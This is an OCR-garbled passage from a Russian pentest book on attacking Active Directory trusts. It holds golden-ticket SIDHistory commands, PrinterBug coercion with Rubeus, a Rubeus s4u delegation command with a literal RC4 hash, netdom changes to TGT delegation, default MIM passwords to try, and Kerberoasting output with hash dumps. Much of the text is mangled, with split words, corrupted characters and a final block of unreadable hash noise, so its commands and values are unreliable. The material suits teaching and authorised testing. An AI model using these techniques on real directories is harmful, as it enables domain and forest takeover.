А теперь пора поговорить о подводных камнях. Казалось бы, в атаке нет ничего
сложного. Да, действительно, между доменами она сработает без проблем, но, как
только мы начнем атаковать леса, столкнемся с раздражающим
Помните ли вы про опцию
/sids?
Access Denied.
Наша беда заключается именно в ней.
Возможно, мы сумеем получить доступ к каким-либо ресурсам в другом лесе, но
зачастую количество этих ресурсов будет ограничено, если у нас вообще что-то
получится. Проблема кроется в так называемом
теме, которая фильтрует из
SIDHistory
SID Filtering -
специальной сис
пересекающие границу леса
привилегиями, не позволяя получить доступ куда-либо. У группы
по умолчанию
SID с высокими
Enterprise Admins
RID составляет 519. Да и в принципе у всех более-менее
RID < 1ООО. Вы уже догадались, как мы будем обходить
рованных групп
привилеги
это ограни
чение?
Сначала предлагаю проверить наличие этого самого
SID Filtering
(рис.
1. 7):
# AD Module
Get-ADTrust -Filter *
Direction
Di sall owTransivity
Distingui shedName
False
CN =euvendor.local,CN =System,DC =eu,DC =local
Forestтran si tive
Тгuе
IntraFores t
IsT ree Parent
IsTr eeRoot
Ndme
bjectCla ss
bjectGUID
Selec tiveAuthenticat ion
SIDF i 1ter i ng Fores tA1•1are
Fdlse
Fal se
False
euvendor .local
trustedDomain
IDFilteг i ngQua г antined
Souг c e
T aгget
TGTDelegation
Trus tAt t r i bL1 tes
TrustedPo li cy
TrustingPo licy
Trust Type
UplevelOnly
UsesAESKeys
Uses R C 4 Encгyption
BiDiгectional
7f2eЫca - 70bc - 4f72 - 92a7 - c04aaaf296c4
False
Tr ue
False
DC=eu,DC=local
euvendor . local
False
72
Uplevel
Fal se
Fal se
Fa l se
Рис.
1.7. SID Filtering
SIDFilteringForestAware установлено в True. В связи с этим мы должны будем
группы, у которых RID > 1ООО . Эти группы мы внедрим в SIDHistory и сможем
Значение
найти
получить доступ к другому лесу .
Искать можно следующим образом (рис.
1.8):
# AD Module
Get -ADGroup -Filter ' SID -ge "<SID
атакуемого леса>-1000 "'
-Server
<атакуемый лес>
Часть
20
/.
Пентест
Active Directory
Get -ADGroup -Filter 'SID -ge "S · l · S- 21 -4066061358-3942393892 -617142613 - 1000"' -Server euvendor.local
DistinguishedName
GroupCategory
GroupScope
Name
ObjectClass
ObjectGUID
SamAccountName
SID
CN=DnsAdmins,CN=Users,DC=euvendor,DC=local
Security
Domainlocal
DnsAdmins
group
558b62ba-e634-4bda-9lcf-9d6e9c9aaee8
DnsAdmins
S-1-5-21-4066061358-3942393892-617142613-1101
DistinguishedName
GroupCategory
GroupScope
Name
ObjectClass
ObjectGUID
SamAccountName
SID
CN=DnsUpdateProxy,CN=Users,DC=euvendor,DC=local
Security
Global
DnsUpdateProxy
group
D1stinguishedName
GroupCategory
GroupScope
Name
ObjectClass
ObjectGUID
SamAccounttJaine
CN=EUAdmins,CN=Users,DC=euvendor,DC=local
Security
Global
EUAdmins
gr'O llp
SID
8b8804e3-3914-49cЗ-8bS1-562c0644d60d
DnsUpdateProxy
5-1-5 · 21-4066061358-3942393892·617142613·1102
1d ad06 33 -fcf 5- 4 9 d c-9431-8Ы67c f 36969
euadmiris
S-l-S-21-4066061358-3942393892-617142613-1 103
Рис.
1.8.
Поиск групп с
Видим интересную группу EUAdmins с
SID
RID > 1ООО
s-1-5-21-4066061358-3942393892-617142613-llOЗ,
поэтому генерируем тикет, как описано выше, но указывая в SIDHistory
SID
этой
группы.
Выдаем себя за контроллер домена
Tt.•riepь вы знаете, что такое
ко
SIDHistory,
поэтому мы можем даже выдать себя за
роллер домена:
ke c,:eros: :golden /usеr:<имя УЗ текущего
/groups:516 /krЬtgt:<krЬtgt-xeш
Controllers>,S-1-5-9 /ptt
домена>
Опцией /groups:516 мы указали
RID
ДК> /dоmаin:<текущий домен>
/sid:<SID
текущего домена>
группы Domaiп
/sids:<SID
текущего
группы контроллеров домена, а /sids:S-1-5-9 -
группа Enterprise Domain Controllers. Вы можете поэкспериментировать со стандарт
ными
SID, их структуры представлены здесь: https://docs.microsoft.com/enus/openspecs/windows_protocols/ms-dtyp/81 d92 bba-d22 Ь-4а8с-908а-554аЫ9148аЬ.
Неограниченное делегирование
Как я уже сказал, не буду вдаваться в теоретические подробности неограниченного
делегирования
- в издательстве «БХВ» выходила прекрасная книга по безопасно
AD «Active Directory глазами хакера» от автора Ralf Hacker (https://bhv.ru/
product/active-directory-glazami-hakera/), который рассматривает эту технологию
сти
в том числе. Мы же взглянем на нее как на дополнительный вектор атаки на отно
шения.
Глава
1.
21
Как работают атаки на доверенные отношения доменов и лесов АО
Между доменами
По умолчанию на всех контроллерах домена включено неограниченное делегиро
вание . В связи с этим мы можем «заставить» атакуемый контроллер домена обра
титься к нашим ресурсам , допустим, с помощью PrinterBug или Pet itPotam. Синтаксис
будет примерно следующий :
#
Запус каем монито rJ «Рубеуса»
RuЬeus . exe rnoпitor
/targetuser :dc0 l$ /internal:5 /nowrap
# Триггерим Pri nterBug
MS-RPRN. ехе \ \<атакуемый КД> \ \< н а ш кд с неограниче нным
MS-RPRN .exe \\dcOl. rnegabaпk . loca l \\dc02. priv.local
делегированием>
Между лесами
Здесь нас опять будут поджидать сюрпризы! Не так давно
этой
Согласитесь,
проблемой.
маленький лес
как-то
не
очень
компании rnycra . l ocal, а потом
хорошо,
Microsoft
если
перебрасываются
озаботилась
хакеры
ломают
на большой
-
rnisha . local. Поэтому появился механизм TGT Delegation. Если очень коротко, то
этот механизм предотвращает хождение контроллера домена со своим
TGT
в дру
гой лес, поэтому его бесполезно триггерить с помощью PrinterBug, Peti tPotam или
любым другим способом.
Сначала требуется обнаружить, включен ли
TGT Delegation (рис . 1.9, вдруг еще не
все так плохо?):
PS
. С ~ \Usеrs\Адr4инистратор>
Get -ADTrust
Командлет Get-ADTrust ·в конвейере команд в позиции 1
Укажите
значения
для
следУЮЩИХ параметров :
Filter: *
Di~ection
Disallo1йransivity
DistinguishedName
ForestTransitive
Intraforest
IsTreeParent
IsTreeRoot
Name
ObjectClass
ObjectGUID
SelectiveAuthentication
SIDFilteringForestAware
SIDFilteringQuarantined
Source
Target
,-
TrustAttributes
TrustedPolicy
TrustingPolicy
TrustType
UplevelOnly
UsesAESKeys
UsesRC4Encryption
Рис .
BiDirectional
False
CN=production . local,CN=System,DC=priv,DC=local
True
False
False
False
production.local
trustedOomain
56962021-4~З0 - 488е-929е-97d9е80З564е
False
False
False
OC=priv,DC=local
production.local
2056
Uplevel
False
False
False
1.9.
Проверяем, включен ли
TGT Delegation
Часть
22
/.
Пентест
Active Directory
<атакуемый лес> /dоmаin :<текуший лес> /EnaЬleTgtDelegation
netdom trust
# АО Module
Get- ADT rust - server <атакуемый лес> -Filter *
Get- ADTrust - Filter (Direction - eq "I nbound" } 1 ft Name , TGTDelegation
Нам повезло
-
production. local использует TGT Delegation. Значит, мы можем триг
герить контроллер этого . домена на наш контроллер, хотя по умолчанию включена
настройка
TGTDelegation: False (рис. 1.1 О).
Рис .
1.10.
По умолчанию включена настройка
TGTDelegation: False
Поэтому КД домена megabank .local мы не сможем заставить сходить к нам.
Также если мы каким-то образом получили доступ с правами ДА/ЛА на атакуемом
КД, то можем принудительно включить
netdom trust
<текуший
TGT Delegation,
(а такуемый ) лес> /doma in:<лec,
что сделает лес уязвимым:
из которого будем атаковать>
/EnaЬl e TGT Delegation:Yes
netdom trust megabank.local /domain :priv.local
/EnaЬl e T GTDelegatio n: Yes
После не забудьте отключить следующие функции:
netdom trus t megabank . local /domain: pr iv . local
/E naЫeTGT De lega t i on: No
Ограниченное делегирование
С ограниченным делегированием все достаточно просто. Сначала ищем нужные УЗ
в другом домене/лесе (рис .
1.11 ):
# PowerView
Get- DomainOser - TrustedToAuth -Domain eu. l ocal
Get- Domai nComputer -TrustedToAuth - Domai n eu . loca l
Глава
#
1. Как работают атаки на доверенные отношения доменов и лесов АО
23
Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties
msDS-AllowedToDelegateTo -Server eu.local
АО
\ AD\ Tools\дDНodule-aaster\Kicrosoft .ActiveOirectory .Мanagюent . dll
PS
С: \Use rs \studentuser23>
Import -f'\Odule
С:
PS
с: \Us ers \studentuser23>
t11pcrt-'10dule
с : \АО\ Tools \дDМOdule-aaster\Act1veo1rectory \ Act1veotrectory. psd1
PS
С: \Users\studen tu s.er2Э>
Get-AOObject • F i 1t,-r- {ll'>OS -AlloW@'dT~legitteTo -ne "'Snull " } -Propt!'rt1~s 11sOS-AllowedTOOelegitteTo -Seirver eu.
local
rHstin&uishedName
,-sOS-Al lowedToOt' leeateTo
•
iNalIO
CN= s torвgesvc) (N,,.Users, OC =eu, ОС= loca 1
iobjectelass
user
841 f~b0-a442-4cdf - af 34 ·6SS9480a2d74
ObjectGU!D
{tl11e/EU-OC.eu. local/eu. local. ti11e/EU·OC.eu. local.
storagesvc
Рис.
1.11.
ti ■ e/EU-OC,
ti11e/EU-OC.eu. l ocal/EU ... }
Ищем нужные учетные записи в другом домене/лесе
Видим, что некоему storagesvc разрешено делегировать time/EU-DC. eu. local. При этом,
напоминаю, сервисная часть билета не подписывается. Как следствие, мы можем
изменить
time
RuЬeus.exe
s4u
на
cifs
или
ldap:
/user:<юзep с ограниченным делегированием>
/rc4:<xew
юзера с ограниченным
делегированием> /impersonateuser:<чeй билет хотим получить> /dоmаin:<атакуемый домен>
/msdsspn:<cepвиc>/<кoмп,
хотим получить доступ>
на который разрешено делегирование> /altservice:<нa какой еще сервис
/dc:<dc
атакуемого домена>
/ptt
s4u /user:storagesvc /rc4:5C76877A9C454CDED58807C20C20AEAC
/impersonateuser:Administrator /domain:eu.local /msdsspn:cifs/eu-dc.eu.local /
altservice:ldap /dc:eu-dc.eu.local /ptt
RuЬeus.exe
РАМ
Trust
Privileged Access Management был представлен в Windows Server 2016. По мнению
Microsoft, он помогает «смягчить проблемы безопасности в средах Active
Directory». Сейчас мы обратимся к сайту Microsoft, разберем этот механизм, а по
том рассмотрим, как можно обойти ограничения.
представляет
РАМ
собой
дополнительный
лес
администраторов
(лес
вastion).
Trust от другого леса (лес corp). А управле
ние ведется с помощью MIM (Microsoft ldentity Management). MIM создает допол
нительные теневые принципалы безопасности (shadow security principal) в лесе
К данному лесу настроено доверие РАМ
вastion
-
это группы, пользователи и компьютеры, которые сопоставляются с теми
же группами, пользователями и компьютерами в лесе
веряет
ний в
corp
(т. е. в лесе, который до
Bastion по РАМ Trust). Это позволяет управлять другими лесами без измене
ACL
и без интерактивного входа в систему.
Обнаружение
Обнаружить РАМ-доверие несложно. Оно всегда одностороннее
-
к лесу админи
страторов из обычного леса. Под обычным лесом я подразумеваю просто какой-то
лес, который управляется лесом администраторов. У такого доверия в свойствах
EnaЫeSIDHistory и EnaЬlePIMTrust указано значение
yes.
Первое позволяет вставлять
SID
Часть
24
обычного леса в билеты леса администраторов, второе
-
/.
Пентест
Active Directory
использовать
SID
даже
с высокими привилегиями (например, Ent erpri se Admins ). Благодаря этому автомати
чески обходится
sro
Filtering.
Проверка, не в бастионном лесе ли мы
Если ·вдруг мы скомпрометировали лес администраторов (вastion), то мы также
сможем получить доступ ко всем обычным лесам, которыми управляет этот лес
(в нашем примере это лес Corp).
Мы можем проверить, не находимся ли мы в лесе администраторов. У этого леса
имеются следующие признаки: для доверия
True, в SIDFilteri ngQua ranti ned -
ForestTransit ive
установлено значение
False (что означает, что фильтрация
SID
отключена),
а также у него есть нужные атрибуты доверия:
# AD Module
Get- ADTrust -Fi lter { (ForestTransitive - eq $True) - and (SIDFilteringQuaranti ned - eq $Fa l se))
Чтобы нам было проще отличить РАМ .тrust, рассмотрим два примера (рис .
1.12).
outbound
False
CN=techcorp.local,CN=System,DC=bastion,oc=local
Direction
Disallowтrans;vity
DistinguishedName
Forestтransitive
тrue
False
False
False
techcorp. 1 оса 1
trustedoomain
05498dce-bdab-4a88-946d-077d5dd0da16
False
False
False
OC=bastion,OC=local
techcorp. local
False
IntraForest
IsTreeParent
tsтreeRoot
Name
Objectclass
Ob]ectGUIO
selectiveAuthentication
SIDFilteringForestAware
SIOF;lteringQuarantined
source
тarget
TGТOelegation
TrustAttributes
TrustedPolicy
TrustingPolicy
8
uplevel
False
False
False
тrustтype
Uplevelonly
usesAESKeys
usesRC4Encryption
Рис.
1.12.
Лес с транзитивным доверием
Здесь мы видим , что bastion. local имеет Outbound-дoвepиe к techcorp. local . То есть
пользователи techcorp.local могут получать доступ к ресурсам bastion . local . Это не
РАМ
Trust.
Это просто лес с транзитивным доверием и отключенной фильтрацией
SID.
Второй пример
-
см. рис .
1.13.
Здесь мы видим, что bastion.local имеет lnbound-дoвepиe от production.local. То есть
пользователи bastion.local могут получать доступ к ресурсам production.local. Это
уже похоже на РАМ
Trust.
Внимательный читатель спросит: «Миша , а что за атри
буты доверия?» Мы рассмотрим их позже .
Чтобы быть уверенными, что мы действительно находимся в бастионном лесе, мы
должны попробовать перечислить shadow securi ty principals. Эти объекты создаются
Глава
1.
Как работают атаки на доверенные отношения доменов и лесов АО
о;гесt;оп
25
Inbound
False
CN=product;on.local,CN=System,DC=bast;on,DC=local
o;sallowтrans;v;ty
o;st;ngu;shedName
Forestтransн;ve
- тrue
IntraForest
IsTreeParent
IsTreeRoot
Name
Objectclass
ObJectGUID
Select;veAuthent;cat;on
SIDF;lter;ngForestAware
SIDF;lteг;ngQuarant;ned
source
Target
False
False
False
product;on. local
trustedOomain
3e0958ef-54c4-4afe-b4df-67215Dcldbfc
False
False
False
QC=Ьastion,OC;local
J"i"oduction. local
False -
TGТt>elegat;on
тrustAttr;ьutes
8
TrustedPol;cy
Trust;ngPol;cy
Uplevel
False
False
False
тгustType
\Jplevelonly
\JsesAESKeys
\JsesRC4Encryption
Рис.
1.13.
РАМ
Trust
в специальном контейнере. Если объекты есть, это значит, что наше предположе
ние верно (рис.
#
PS
1.14):
Modul e
Get-AOObject - Sear chBase ("CN=Shadow Princi pal Conf i gurati on,CN=Se rvi ces ," +
(Get-AORootOSE) . conf igurationNamingContext) -Fi l ter * - Properties * 1 se l ect
Name,mernЬe r, msOS - S hadowPr i n cipal Sid I f l
АО
С:
users Adm1n1strator> Get-ADObJect
- searchвase ("CN=S adow Pr;nc1pa1 Cont;gurat1on,CN=Serv1ces,"
1 select Namt,member,msos-shad"owPrincipalSid I fl
urationNamingContext) ·Filter • -Properties •
Name
member
msDS·ShadowPr; пс; ра 1s; d
+ (Get-AORootDSE .conf19
Shadow Principa1 Configuration
{}
prodforest-ShadowEnterpri seAdmi n
Name
member
msDS·ShadowPr; nci ра 1si d
{CN=Admi п; strator, CN=Users, DC=bastion, ОС= loca 1}
S-1 ·5·21 • 1765907967-2493560013· 34545785-519
Рис.
Вывод на рис.
1.14
1.14. Shadow security principals
подтверждает наши догадки . Мы видим, что перед нами группа
prodforest- ShadowEnterpriseAdmi n, а участником этой группы является пользователь
Admini strat or домена bast i on . local. Но стоит отметить, что членство в таких группах
непостоянное . Если вывод пуст, мы должны вреJ\1Я от времени проверять, какой
пол ьзователь добавился в эту группу . Также можно обратить внимание на группу
msos
,.,rPrincipalSid. Как мы видим, у этой группы rid 519, что соответствует стан
RID группы Ente rpr ise Adшin s.
дарт11,1,, , у
Проверяем, не управляется ли текущий лес
ка;:мм-то другим по РАМ
Trust
Мы также можем выяснить, управляется ли наш текущий лес бастионным лесом.
Перечислим все трасты, которые могут быть похожи на РАМ
#
Modul e
Ge t-AOT rust -Filter ( (ForestTransitive - eq $True))
АО
Trust (рис. 1.15):
Часть
26
/.
Пентест
Active Directory
PS C:\Users\Administrator> Get-ADTrust -Filter {(Forestтгansitive -eq STrue)}
Direction
Disallowтransivity
outbound
False
Forestтransitive
тrue
CN•bastion. local ,Clll•System,DC"pгoduction ,DC"1oca1
DistinguishedName
oь~· ectclass
False
False
Fa1se
bast,on.1oca1
trustedDomain
SIDFilteгingForestAware
Тгuе
IntraForest
IsTreeParent
IsTreeRoot
Name
ectGUID
Se ectiveAuthentication
f6ebbca6-749d-4ee6-bb6d-d3bbЫ78fd02
ОЬ
False
SIDFilteringQuarantined
Source
arget
False
ОС
GТ\f!legation
е
rustAttributes
rustedPolicy
rustingPolicy
rustType
uplevelonly
usesAESKeys
11ro
1.15.
.
,ОС"'1оса1
t •
1096
uplevel
Fa1se
False
ar.tc ......... .,..,.-..-. .-.
Рис.
d
~,ro
Перечислим все трасты, которые могут быть похожи на РАМ
Trust
Мы видим, что production.local имеет Outbound-дoвepиe к bastion.local, т. е . доверяет
ему. Теперь стоит обратить внимание на TrustAttributes.
На РАМ Trust будут указывать два значения:
□ 1024 (ОхООООО 4О О) -
доверие РАМ
□ 1096- это и РАМ
Trust,
Также РАМ
Trust
и
Trust
и
Extemal Trust (внешнее доверие);
External Trust (внешнее
Forest Transitive.
всегда односторонний (от обычного леса к лесу админов) . Если
мы сомневаемся, РАМ
Trust ли
это, то можем попробовать узнать ОС контроллеров
домена леса, которому доверяет наш лес. Если это
возможен РАМ
доверие), и
Trust,
Windows Server 2016
и выше, то
если ниже, то абсолютно точно нет.
Дополнительные проверки и новые угрозы
Если вы посмотрели в документации
Microsoft (https://docs.microsoft.com/ru-ru/
microsoft-identity-manager/pam/step-2-prepare-priv-domain-controller), как созда
вать РАМ Trust, то, скорее всего, заметили следующие команды:
import-module activedirectory
$sp = ConvertTo-SecureString "Pass@wordl " - asplaintext -force
New-ADUser -SamAccountName МIММА -name МIММА
Этой командой создаются дополнительные служебные пользователи в лесе адми
нистраторов, которые требуются для управления
MIM.
Если в домене присутствует один из следующих пользователей, это намного увели
чивает шансы того , что перед нами лес администраторов:
# PowerView
# v2
Get-NetUser -Domain priv . 1ocal
Глава
#
1.
Как работают атаки на доверенные отношения доменов и лесов АО
27
vЗ
Get- Domai nUser -Domain priv. l oca l
# AD Modul e
Get-ADUser -Fi lter * - Pr ope r t i es * - Server pr iv .local
МIММА
<- 100% лес адми но в
<- 100% ле с админов
MIММoni t o r
MIMComponent <- 100% лес адми нов
MIMSync <- 100 % лес а дмин о в
MIMService <- 100 % л е с адми нов <MI МAdmin <- 100% л ес админ о в
SharePoint <- В ходит в группу дА
SqlServer
BackupAdmin
Входит в группу дА
Все эти учетные записи стоит проверить с паролем Pass@wordl. Также , если мы на
шли учетки PRIV. pamRequestor или pamrequestor, имеет смысл попробовать пароли
LOngP@s swOr d и LOngP@sswOrdl . Ко всему прочему у всех этих пользователей настроен
поэтому
SPN,
(рис .
t,etUsнsvi..-.. ру
l•packet
мы
можем
атаковать
их с
использованием
'~t>gaЬank.
loca t/1qnat
:Gnзt ik98J91W!
v0.9.2'i.dev1•20220323.1801i07.HЗ22697
Kerberoasting
priv. loca\
•
- Cop~right 2021 SecureAuth torporation
Pa!.ы,юrdldstSet
Serv lcePr i nc ipa LNamt•
Ndm!.'
Mt.omberOf
FIМService/pamsrv
MIMSPrv itt>
CN~OO .()},.D . ~ , NNN0° NO\NN D ·o\.l)!d)~O\D• ,CN~Users, DC• priv ,DC• locat
,()},О ,
О ' l).\f)i.,D~D):.D•
FIMServiCL'/pamsrv.priv. tocat
"'TMServ iц•
CN~OO • OJ..o
http/paJDSГ\I
Sha rePoi r1t
SharePoint
J,pop,,.-.
CN·•OO ·o}u),0\0, NNNo• ND'JtN o·~oµD"-0° , CN•Users,DC.-priv,DC•lotat
o,1~oo·o•~D,D\D.NNND~Nf>!.NN 0·~0µ1Pill• ,CN •Users,DC .-priv,DC •loc::at
CN•OO - D'Ф ,fJ.\D , NNND~N~N D,NDµD . D;}Ш .NNo .N, CN•US('Г!>,DC•priv, DC• tctat
ht tp/pamsrv. pr iv. loc,1t
m11sic/j1.>n
атаки
1.16).
NNNo· Nl))JjN
, CN~Users,OC•priv ,OC• locat
lastl
2022-08-08 18:09:52.20'794 <never>
2022-08-08 18:09:52.20279li <never>
2022-08-08 1е:09:S2.З43371 <never:>
2022-08· 08 18:69:52.343371 <never>
]021· 08 · 09 10: 30: )4, 127426 <nt>YPr >
{ ) C(ache fi(e is not fo und . S k ippin~ ...
1k rb!»t яs$2 J$tMIH~erv ice$PM 1V. lotAl $pr i у. t ос а \/MJM5e rv i се, 1')48ЬЗ 12еJ t /dl2cc210J9113991Jc:: 16 7f ,1 $ 07e61cbd2S llic8eebc::8f bb0Ьdf с 024ЬЬа567104 7f ali0 lbt'C20048J411бdf af с /44'
dtb0tJtJSa f2tJabЫ44d4b89e')8')8,1t'dlddC' 1b9c84t>d8bldlea 12b6,10JSJ 717 f cM451400d54 76f S',6897 7t32Зb316,19')74df t349c 7Ь6dd914d4 I 7d('f (' f28Jd 3 fbS}ddd f f69J1 bdt'81b 7ЬJ9att•4 S /а,
089Jbdet0d9]bedt. 7Se9ecde)9906421cbdt.'ddbd4dd )1;а491110 f 6S168c )с2 f О f 86S90rb]b817b8Je~eb74S0ef ,1dS.18e48dd7b41 ьо 721c98lbac318111Sl.ia80c::<>97t'lSS84Ht>SJd89a8ddt4r.:.9" f 6•
1 /6f68d9t ~(. 69/ .12.124d 1486d2d 73Jt 19 r f 09d]6Jt•6d',da) 1 ]ddbdt'0db699SS9S24b8d')76f f8б19ба72Ьt.042 f 6Sbb8C!]]bc.b)2475)8]1.'39]3dt>6d r 23]bdb5)0C!b86/7 729ctiul.i852{'dl.ib998f d fJ)t,,
')04634t6017t606f5Ыlt,2(!fdd541JOt,Ы8b52db8;aa8/129ld424lbdЬfC6cf<.S48d,.1l(•64610d21bt•Jlddd9.Jd1l71Jt'fd5f1Jf82l(d221100Зd,ldd,Ы8c1З67,1fб2d1086J7,tt1929t-Ь4dbd4Jf16978ЬI
fSt, 7t>.i48681bO}b5dl JS],18b89b f 131.ot,t,б ]l,c .iS 1 7]dt.:IЧ f 32 7 f Ьl'Sb,J f dtЫOl 5.Jl]SЬJ 12( 2{ {'d561'01 ],1f,4dбb] 299tdd 7Ы50ed4b863Sc54N8a2f 61c88l•01.J61 r f 418f28tЬJ84 ]8lt,88f t,9Sf1JJI
1•1 J6Jt,a f dl /9?afiЬfbS 355 3 54,1Ь6ЬЬ,19 Jdd 711281.obl.ie';t 5 f b6.J8d0t1,119d19f f с::9900< .1327353 fC,t,b572 78572855{'14З Ь8аS<..16е9]('\{'241Ь8ссЗ100( f c3cc5f 5cS98b7 .1446.Jt•.19 /l.i 31.i"JSf,Od007160'
(']4Jf31,951 f 58( 851 J Jc 88}( C,1dd861 ldl 1] f dbl f 6f t• 1.l 7t,')';id943119;1,1Ь)078( d,lf'580f'd( 08fi6c-5.1}dan8N889bl.o876dt87') 1b,16 l68dt, f C2t>ЗdS 7r4ЗЗ fbt•li8Зf dC'.Jbr>6J 740('d{)]0( f (•988{ а994С'
f dl,8Ь9919 ]}8} l<Ыb.Jfi0('1,,)C8fb 11 Ь')] Jr4,J(' 1 17d0041 rб'i,111 f d 1t,,9J37Ь5с f5db8 l],l4 S 166( 69d(,O JЫ,f 873( ')4 f ,1С Jd601d]60718}4(S4a003917d'i]bb00799cc 1,lS4f f ('9С'Ч4с 74 ]9t. rьь /d/d( J
J90bf>9b('1bl)Ь('fH,м пы /b(H('('f11 J tм 1 }d J4bl'i'i01bбll}t,( ]]O :!cl, I ]Sбddl,f 4,l77rS74f lh999M6J'J( bJ}bJ894f dJ 3969Ct><J1dt,J&f]t,df(')t,c 1(]('9816104/Sl ld:! lb9}44] 7}1b9]Rbbl fr ff)l
$krl1'1t !!"-S J J1•'>1мr('l-'01ПI 1~•111 V . 1 О(ЛI Spr iv. loc ,11 ,~;h,lrPPOif1t • $//!,l('ЫhrRl)(}d1 fr01i} lf r(' )Jt,br9}0c01c lddcf!Ы / /dbl 71'11.•fdl86C]( Jl,1/J7 d 4c]bl :!f /':,,1"1f с/')46]('( b')/8't1R4RR/Q1 •
1 .10;1 lf,44d f 1 }40} 1J 1 J.t}Rr f,, b'J,J( ,l 1tl f /'191 ,111] /f1,IP 1h /('"/ 10 f 01J :1/d J ""I н,ьььсть,11СJd \(' 1 1 'l,,Ql €'d lR') Jd lbblddORM,0 f r>JH'Jt,cOB"c( l'dS t Jabf'6,1r (>1 f l'f l''JCJ /!1911,K':JdOH /f,,Jd,lf,bf'Jd H!Q,1f,C'dt
,11 I JIRJ IO liRQ l.t11,40401J1J,l!Jb<)R \114lb,1.111,111111/111 '1!1 /Нс] 1 !,~,ь!,f1'Jbl1/a]t .. , ·1 tCJЧl'>hh 1 811111 f d.-Bl,dtl ;id,ы / ldЬ'11 RR lbb1.'d<J,1bl 11]b{'t'/b]fi;\}( J0"/591r,1"/~11'(19Ht!,r4""/Hl91 btl 1('~4al ьf 4]('dt,,
ЬlИ,1 J41Jfl/'>9'>1>}0RIHl0Jf ('/bl,d/'J,1(}f19HN /11111 11J\1'10l1N. (•f14',l'H)('d9f'd()/{1]7]"/0l]l ',f rORI d{•l lb911•,4 )Чr6R1 ', 1191.-/a}bl 0IP0brlJ6t,7]bl1bdh!1('JIJdt1hbctHf'lt.(Q8,1'йf 17407( .t4f /О}}ОЬ]
li,190 I l1t•',b ldl.o] lfl\J J1,fi00 J f<J IВdd 11 bdtb'Jl,/1 / JЫ11l.1Hf1l,l1~1 J!,"J J 1t1 /bllOJ!iHt'1d'>01bllb'>dt.bt Ь.1]1•Ь{'С4б "/ ;1{,/Ь98с / /S l(•d f dt'SI Ot dЫ,CJt,IIOrJr.,1012tbal,'J0,1rl !,d,1t OH,1141•1!b9484 l ',l,0b{ 'JB -111• /99
l,111111 41 ,1b'.,t,bt .J.11.i,•88 /1/Ь 191:1';t ', /d8,1IJOIJd.lHbt flJ tl,t 9] /t blt 2rlN О 1 t-bЗ}bdt !it f ILb( ,111982<.1(,8 f Ь 1,и•ОI>!. rQdS4 ';;JS}'>l,Jc f 1,Jdt l.idt .J51d95420 l 8e..itt 1, ':J'Jdtdf ,1t,tdt 2'>('t•.!H 180t.d3889181.id
t,t,,11•d91tl ... ,и <Jb,I lt,9 / }0', 11Jb,1 lcl /C)b<)t,98),1bl,1'1,000.1'>1 1, 71Jt (!"} f 9] f'>H.Jb/lJt 23 73,1,1 Jtll !it, l1•']b920t,1•9']b 1,12 f /0{,,11,9Ь,1Ь,.19 lt•5a] d51'dt•6d lt,6 '}87dd'1J f'>е26.1б2 J6f '>t,11 ')',92'>1 1 ~9981 UR8<. 54
]l,9,11•Jl}1•bbd1 tl 11 /t•f,l+L 'jfb)t,'] 1 /f40140bJtl{ t /~11-~Jt•dOl,•)')"J ]/221 Jftt. lef<Ja/b',()81,,J, 841.о /ROЫ,/11.1•.JZ. )11 /f ,l'>dt>St /]bl.iOt•]'>Ob"/l'>20r>/bC!'>t'501•1 f112f~,J(l't.2bet.JS')8,1lbt-t•l.i8l]d] ! ',t•4].
t11•2711',/ IOU'н t 91 ь,lcl•J 11,u1,11.ifl•Jt16S]J<Jl481 I Jt J4{ /l '>ft•bt•)1JOIJL•.12'1()f,t,t, J')f 1Ыkf'i219t•l.i ! ],• b'J 8 U.11,8] tt•91 ,.1bЬf,7tlbbl> d( 95bbt•NJ<.1t•f8JbOt•(.'t•Jbdft ',':,29,19t1Jf9,11•0HЬ'J"Jl,,10]b4t•t t•dd l,1fl,
Ь90}К 12 ',Ь 11 l.obltlbt' f НI f :ioJ '.,J,,t 6'1 1 41',.1(•4 Jl•b'>'1')fJ l 8 /'1f .18f?dOOИUlнl'.>dJ9]t /b8<Jb8b',d,12 /t, /с8с:: 19 /'Jb'>t•'>dt Jt,1,ll'Jьt, ... 7bt•'>81J4 ld!i8t•90f(J')J4<JI, J /',Jt ,11,8} 16.J<)( f ],1 f 01,1 / f ,1 f 1 /81! 1 l't'•
S1,.1 l1'1tн•,1J -J1• J . 11щ1t•i, 111f~IV .1 Оlд\ 1vr iv. 1 uc .il / j . VUJH' <,. • 1fl')'),1p•)f Jt,()Obbf'e1Jfl9f t, ,J}b,H,l l'J,1 /U$%<Нit22,ы91•Ы f /01 bb'idl.J.19f8.i/J85dd18/1],1lb1 Ь Jd.-Ьf JJ81,f,JQR4:l]f t•Ч1I < 91., lt•b/1
)<)<)')')( t :JHt>J l!:-t1ЧJ'Jt' t',)1· 11 ('/ / .1/()t, lb.i9 f Ь('Ь(' .14 '1/О .ы9)0 )1, 14 /('1 ('('1 d46;/1.'bl.' 1)'1/ ,Jte 14Ьl1{ 4] 11cl.!H00 I ](" ,,,1 ,, 1 с:: ftH,d 14t 7]'i}d')JOJ( 8JfbS/ЫOOJ')t,') l lbd(I('', f bJO', 1 l,('00'.IOb J](' /80} '11!85:
lcll 1 /t>H/ 1,1 lt 1•ь1, l,11,1 l>l'l,t,/1,11•,f (J'l1'>l,1lf1f111, 1 f '>) l('f'I f,f'>Ы,f 1lk<J IЬм J1t114}lн10'11'f'f!(} /('JJ>']t,','lt!Ь bOb,, 't'>U 1•;1r1id lt>1l},1(J(J1•114'•1.:1119'J'ia9fl91d')1J(lbb,I( ,1f'JJbrf;b,1t,b<J4h lf'.J1rlJ lh'),\l! (I}
1•1}1)/.it,1•4]< 4'>0] /]'Jt,,11,o•it, 1•1, t 111 / 1 1',40 l'IJ,11,,J('fl/,1kf 1)/h,1ьri 1}1 '140'101-11 ,11 t1Jtll1 114dht,} /'1'11 '>IJ7', I /Ф11М"/(4 ·1 1•1•ll1Jfo 1ro1,f1f,flf '>41,t,f'Jc• 11.i,11 'J 1 lb,Jf ('11,( 1 ,tfh'>Or>f>Ы /04 111}11}11)1 /( f'1/11t,4 I,
